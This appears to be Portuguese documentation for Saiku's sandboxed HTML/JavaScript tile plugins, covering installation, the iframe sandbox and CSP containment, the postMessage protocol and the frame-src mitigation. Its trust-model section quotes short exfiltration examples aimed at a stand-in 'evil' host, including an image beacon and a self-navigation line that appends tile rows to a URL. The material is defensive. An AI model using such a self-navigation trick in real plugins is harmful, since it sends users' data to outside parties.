Plugins (avançado)

Um plugin de tile é o tile customizado mais poderoso: um widget autocontido de HTML + JavaScript que renderiza dentro de um iframe trancado em sandbox, enquanto o Saiku alimenta nele as linhas da consulta do tile. Use quando nem os tiles nativos nem os renderizadores customizados declarativos conseguirem desenhar o que você precisa — um medidor sob medida, um layout incomum, um widget feito para um fim específico.

Plugins são um recurso avançado e controlado pelo administrador. Esta página é sobretudo sobre o modelo de confiança deles, porque acertar isso importa mais que a mecânica.

Cuidado

Plugins são código confiável instalado pelo administrador. Um autor de dashboard só consegue escolher pelo nome um plugin já instalado — não existe forma de colar HTML ou JavaScript cru por um tile. Instalar um plugin é um ato administrativo, equivalente a largar um JAR de plugin de servidor na máquina: você está concedendo àquele código a confiança de rodar nos navegadores dos seus usuários com os dados que os tiles dele exibem.

Como um plugin é instalado

Um operador (não um usuário de dashboard) larga um bundle numa pasta do servidor Saiku:

${saiku.home}/tile-plugins/
  records-bars/
    plugin.json    # id, label, and an optional option schema
    plugin.html    # self-contained widget: inline CSS/JS, data: images only

• plugin.json declara o id do plugin (um slug tipo records-bars), um label de exibição e, opcionalmente, um optionSchema descrevendo as opções configuráveis pelo autor.
• plugin.html é o widget em si — um único documento HTML autocontido com CSS e JavaScript inline (sem scripts, estilos ou fontes remotos; imagens precisam ser URIs data:).

O servidor varre a pasta e deixa os plugins instalados selecionáveis. Um autor de dashboard adiciona um pelo + Adicionar tile, onde cada plugin instalado aparece como sua própria entrada; o tile persistido guarda só o id do plugin, nunca marcação.

O Saiku traz um exemplo semente — records-bars, um gráfico de barras de registros simples — para que uma instalação nova tenha um plugin funcionando para olhar e copiar.

O que o sandbox contém — e o que não

Todo frame de plugin roda atrás de duas camadas de contenção.

1. Um iframe sandbox="allow-scripts" (deliberadamente sem allow-same-origin). O frame roda na origem opaca null, então o código do plugin não consegue:

• ler o DOM, os cookies ou o localStorage da página pai;
• ver a sessão do Saiku, um token de embed, nem dados de outra origem;
• abrir popups, enviar formulários, navegar a janela de topo ou disparar downloads.

2. Uma Content-Security-Policy estrita no frame (default-src 'none', sem connect-src). Isso bloqueia saída de rede em segundo plano — fetch, XHR, WebSocket, EventSource, sendBeacon, subrecursos remotos e o clássico beacon <img src="https://evil…">.

Perigo

O que nenhuma das camadas impede: um plugin pode navegar o próprio frame. Um frame em sandbox sempre tem permissão de definir a própria location, e nenhuma diretiva fetch de CSP governa navegação. Então um plugin ainda consegue mandar para fora do site os dados exibidos no próprio tile (ex.: location = "https://evil/?d=" + rows).

O sandbox isola completamente a origem do Saiku — um plugin nunca enxerga nada além das linhas do próprio tile — mas essas linhas não são confidenciais em relação ao próprio plugin. É exatamente por isso que o código de plugin é instalado pelo administrador e confiável: quem instala um plugin confia a ele os dados que o tile daquele plugin exibe.

Fechando o canal de autonavegação

Se você quiser fechar também o canal de exfiltração por autonavegação, um operador define um frame-src restritivo na CSP do deployment via saiku.security.csp (no proxy reverso ou na config de CSP do launcher). Restringir para onde os frames de plugin podem navegar é a única forma de governar navegação — o sandbox por tile e a CSP não conseguem, por design.

O protocolo entre plugin e host

O host e o plugin se comunicam apenas por window.postMessage. Na montagem, o host injeta um nonce criptográfico por frame; toda mensagem que um plugin envia precisa ecoar aquele nonce ou é descartada (a origem de um frame em sandbox é a string "null", então o nonce é o único autenticador confiável).

• Host → plugin: init (as opções do autor), data (os registros da consulta), theme e resize.
• Plugin → host: ready (carreguei), resize (por favor defina minha altura — limitada pelo host), filter (uma seleção, que o host re-resolve contra o cubo vivo — um plugin não consegue injetar MDX) e error (renderizado só como texto puro).

O host valida e limita tudo que um plugin envia; uma mensagem malformada ou não autenticada é ignorada em vez de executada.

Plugins em Apps embutidas

Quando uma App é embutida, seus tiles de plugin são servidos com escopo de token: um convidado consegue carregar exatamente os plugins referenciados pelos tiles da App embutida e nada além. A mesma contenção de sandbox + CSP se aplica, e a mesma ressalva de autonavegação vale — então a orientação de frame-src acima é o controle do operador para Apps embutidas também.

Relacionado

• Tiles customizados — os renderizadores declarativos, mais seguros e sem código; recorra a um plugin só quando eles não derem conta.
• Embutindo uma App — como o escopo por token se aplica aos tiles de plugin.
• Como seus dados são tratados — o modelo mais amplo de tratamento de dados.